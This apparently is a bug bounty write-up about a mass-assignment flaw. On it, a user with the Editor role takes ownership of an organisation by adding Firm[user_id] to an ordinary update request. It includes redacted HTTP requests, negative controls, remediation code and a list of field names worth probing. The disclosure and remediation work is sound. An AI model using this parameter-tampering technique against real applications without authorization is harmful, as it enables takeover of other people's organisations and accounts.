Skip to main content

Command Palette

Search for a command to run...

From Editor to Owner: One Writable Field Was Enough to Take Over an Organization

Updated
12 min readView as Markdown
From Editor to Owner: One Writable Field Was Enough to Take Over an Organization

Severity: High
Bounty: ~$315
Platform: Standoff365

This one came down to a single field that should never have been writable by an editor:

Firm[user_id]

The application had a clear permission model.

An organization owner could grant another user an Editor role. That editor could modify ordinary organization information, but they could not delete the organization and they were definitely not supposed to own it.

The backend enforced that distinction correctly in most places.

Before exploitation, my editor account had:

edit   = true
delete = false

But the general organization update endpoint also accepted the internal ownership field Firm[user_id].

By setting that field to my own user ID, I could transfer ownership of the entire organization to myself.

After the request:

Original owner:
edit   = false
delete = false

Former editor:
edit   = true
delete = true

The original owner lost the organization.

The editor became the new owner.


Understanding the Permission Model

I tested this using several accounts I controlled.

The basic setup was:

Account A → Organization Owner
Account C → Attacker / Editor
Account B → Additional Administrator

I first created a disposable organization using Account A.

A simplified request looked like:

POST /v1/firm/create HTTP/2
Host: [REDACTED]
Authorization: Bearer [OWNER TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1

The server successfully created the organization.

Before assigning any permissions, I confirmed the expected authorization state.

For the owner:

GET /v1/firm/access?id=[FIRM_ID]&level=edit

returned:

true

and:

GET /v1/firm/access?id=[FIRM_ID]&level=delete

also returned:

true

For Account C:

GET /v1/firm/access?id=[FIRM_ID]&level=edit

returned:

false

Everything was behaving normally.


First Negative Control

Before granting the attacker any role, I tried modifying the organization from Account C.

I also included the suspected ownership field:

POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [ACCOUNT C TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[ACCOUNT_C_USER_ID]

The server rejected it:

{
  "status": 403,
  "message": "[Access denied]",
  "data": null
}

This was useful.

It showed that the endpoint was not simply unauthenticated or globally writable.

The attack depended on having legitimate edit permission first.


Granting Editor Access

Using the owner account, I assigned Account C the application's Editor role for the disposable organization.

The resulting permissions were:

Account C:
edit   = true
delete = false

That was exactly what I expected from a delegated editor.

The editor could modify normal organization information, but ownership-level actions were still restricted.

At this point the intended trust boundary was clear:

Owner
 ├─ Edit
 ├─ Delete
 └─ Ownership control

Editor
 ├─ Edit
 └─ No delete / ownership control

Then I looked at what the edit endpoint actually accepted.


The Ownership Field

The ordinary update endpoint accepted parameters in the form:

Firm[...]

While testing additional writable properties, I found that it also accepted:

Firm[user_id]

That looked suspicious.

A field called user_id on the organization record could easily represent the owner.

So while authenticated as the Editor, I sent a normal update request and supplied my own account ID:

POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [EDITOR TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[EDITOR_USER_ID]

The server returned success:

{
  "status": 200,
  "message": "[Organization updated]",
  "data": null
}

That by itself was interesting.

But accepting an unexpected parameter does not automatically mean there is security impact.

I needed to verify what actually changed.


The Organization Disappeared From the Owner's Account

After the update, I checked the organization lists for both accounts.

The organization was gone from Account A's list.

It now appeared under Account C.

That strongly suggested that Firm[user_id] really was the ownership field.

I then repeated the backend authorization checks.

Before exploitation:

Account A:
edit   = true
delete = true

Account C:
edit   = true
delete = false

After exploitation:

Account A:
edit   = false
delete = false

Account C:
edit   = true
delete = true

The editor had gained deletion permission.

The original owner had lost both edit and delete permission.

This was not a UI glitch or a misleading organization list.

The backend authorization model itself now treated the former editor as the owner.


The Complete Attack Flow

The vulnerability could be reduced to:

Owner grants attacker Editor role
              ↓
Attacker legitimately receives edit permission
              ↓
Attacker calls ordinary /firm/update endpoint
              ↓
Attacker supplies Firm[user_id]=their_own_id
              ↓
Backend updates organization owner
              ↓
Original owner loses access
              ↓
Editor becomes owner
              ↓
Editor gains delete and owner-level permissions

The security boundary was supposed to be:

Editor → Can edit organization data

Instead it became:

Editor → Can edit organization data
       → Can edit owner field
       → Can become owner

Why This Was a Privilege Escalation

The attacker was not an unrelated external user.

They already needed an Editor role.

That matters when evaluating the vulnerability.

But the entire purpose of delegated roles is to give someone limited access without giving them ownership.

An owner might reasonably allow another employee, contractor, or partner to:

  • update organization information

  • change descriptions

  • maintain addresses

  • manage ordinary profile data

without allowing that person to:

  • seize ownership

  • remove the original owner

  • gain deletion rights

  • override other administrators

The vulnerability completely broke that boundary.

It turned:

Delegated Editor

into:

Full Organization Owner

using the same endpoint the editor was legitimately allowed to call.


Testing Another Administrator

I wanted to know what happened when the organization had more than just an owner and an editor.

So I created another disposable organization with:

Account A → Owner
Account C → Editor
Account B → Administrator

Before exploitation:

Account C:
edit   = true
delete = false

Account B:
delete = true

Account A:
delete = true

I also confirmed that Account C could not directly modify or delete Account B's administrator role.

Then, as Account C, I performed the same ownership transfer:

POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [EDITOR TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Administrator Impact Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[EDITOR_USER_ID]

The transfer succeeded.

Afterward:

Account C:
edit   = true
delete = true

Account A:
delete = false

Account B:
delete = false

Interestingly, Account B's administrator role record still existed.

But its effective permissions were gone.

So stealing ownership did more than affect the original owner.

It also changed the effective authorization state of other delegated users attached to the organization.


Isolating the Vulnerable Parameter

I tested several similar-looking fields to make sure I had identified the correct one.

The following did not transfer ownership:

Firm[owner_id]
Firm[group_id]
Firm[firm_id]

Another candidate:

Firm[parent_id]

was rejected.

Only:

Firm[user_id]

produced the ownership change.

I also minimized the request to ensure the state change was tied specifically to that field.

This made the root cause much clearer.


More Negative Controls

I performed several controls before considering the finding complete.

An unrelated authenticated user with no role:

POST /v1/firm/update
→ 403

A user with a view-only role:

POST /v1/firm/update
→ 403

The Editor before exploitation:

edit   = true
delete = false

The same Editor after submitting Firm[user_id]:

edit   = true
delete = true

The original owner after exploitation:

edit   = false
delete = false

This showed that the issue required legitimate edit access but allowed that access to be escalated into ownership.


What Actually Failed

The problem was classic mass assignment combined with broken authorization.

The backend accepted an entire client-controlled Firm object during an ordinary edit operation.

Conceptually, the vulnerable code may have looked something like:

$firm->load($_POST['Firm']);
$firm->save();

If user_id was included among writable attributes, an Editor could modify it just like the organization's name or address.

The server checked whether the user had permission to edit the organization.

But after passing that check, it allowed the Editor to modify an ownership-sensitive field.

The authorization logic was effectively:

Can user edit this organization?
          ↓
Yes
          ↓
Allow modification of every accepted Firm field

What it should have been was:

Can user edit this organization?
          ↓
Yes
          ↓
Allow only fields permitted for Editors
          ↓
Preserve immutable ownership fields

Ownership is not ordinary profile data.

It should never have been part of a general-purpose editor-controlled update model.


Impact

A malicious or compromised Editor could take permanent control of an organization they were only supposed to help manage.

The demonstrated impact included:

  • unauthorized ownership transfer

  • vertical privilege escalation from Editor to Owner

  • loss of access for the original owner

  • acquisition of deletion rights

  • control over organization configuration and management

  • disruption of other delegated administrators

  • bypass of the intended role hierarchy

This is particularly dangerous because the attacker begins with legitimate access.

Nothing about an Editor updating organization details would necessarily look unusual until ownership had already changed.


Reporting and Triage

I submitted the finding with the full multi-account PoC, backend permission checks, negative controls, and the additional administrator-impact validation.

The program first moved the report into vendor review.

A few days later, they confirmed the behavior:

A user with the Editor role could transfer ownership of another user's organization to themselves through the Firm[user_id] field.

They also confirmed the post-exploitation impact:

  • the original owner lost access

  • the former Editor received owner-level permissions

  • deletion rights were gained

The report was accepted as High severity.

The bounty was ₽25,000, approximately $315 at the time of the award.

The issue was then passed to the responsible team for remediation.


Remediation

The most important fix is to remove ownership fields from the general organization update model entirely.

An Editor should never be able to submit:

Firm[user_id]

and have it affect ownership.

The backend should instead preserve the existing owner when processing ordinary edits.

Conceptually:

$firm->name = $request->name;
$firm->address = $request->address;
$firm->type = $request->type;

// Never taken from an editor-controlled request
// $firm->user_id = $request->user_id;

If ownership transfer is a legitimate feature, it should use a dedicated workflow with stronger controls.

For example:

Current owner initiates transfer
          ↓
Reauthentication
          ↓
Receiving user confirms
          ↓
Ownership changes
          ↓
Both parties notified
          ↓
Audit event recorded

Ownership should never change as a side effect of editing an organization's normal metadata.


Hunter Takeaways

Look for Ownership Fields in Ordinary Update Requests

Whenever an application lets lower-privileged users edit an object, inspect which attributes the backend accepts.

Interesting fields often include:

user_id
owner_id
account_id
organization_id
role_id
created_by
admin_id

If the application blindly mass-assigns them, an ordinary edit endpoint can become a privilege-escalation endpoint.


Permission Checks at the Endpoint Are Not Enough

This endpoint did perform authorization.

An unrelated user received a 403.

That might make the implementation look secure at first.

The problem existed one layer deeper.

The Editor was legitimately allowed to call the endpoint, but the backend failed to restrict which properties an Editor was allowed to modify.

Authorization needs to consider both:

Can this user perform this action?

and:

Can this user modify this specific field?

Verify the State Change Through Backend Permissions

After the update succeeded, I did not rely only on the UI.

I checked:

edit
delete

permissions from both accounts.

That proved the backend had actually transferred ownership.

This distinction matters.

A firm appearing under another user's dashboard is interesting.

The original owner losing backend authorization while the Editor gains delete rights is much stronger evidence.


Use Negative Controls

The negative controls were important here because they showed exactly where the privilege boundary failed.

Without a role:

403

With view-only access:

403

With Editor access:

Update permitted

With Editor access plus Firm[user_id]:

Ownership transferred

That isolates the bug far better than simply showing a successful malicious request.


Test the Effect on Other Roles

Privilege-escalation findings can affect more than the victim owner.

In this case, another administrator's role record survived the transfer, but their effective permissions disappeared.

Testing the wider authorization model helped show that ownership was a central security boundary rather than just a cosmetic account field.


Final Thoughts

The endpoint was supposed to allow Editors to update organization information.

It did that correctly.

The mistake was allowing the same user-controlled object to include:

Firm[user_id]

The full chain was:

Legitimate Editor access
          ↓
Writable ownership field
          ↓
Firm[user_id]=attacker
          ↓
Organization transferred
          ↓
Original owner loses access
          ↓
Editor gains owner and delete permissions

This is why mass assignment bugs can become much more serious when authorization-sensitive fields are mixed with ordinary editable properties.

The endpoint did not fail because it allowed the Editor to edit.

It failed because it never decided where editing should stop.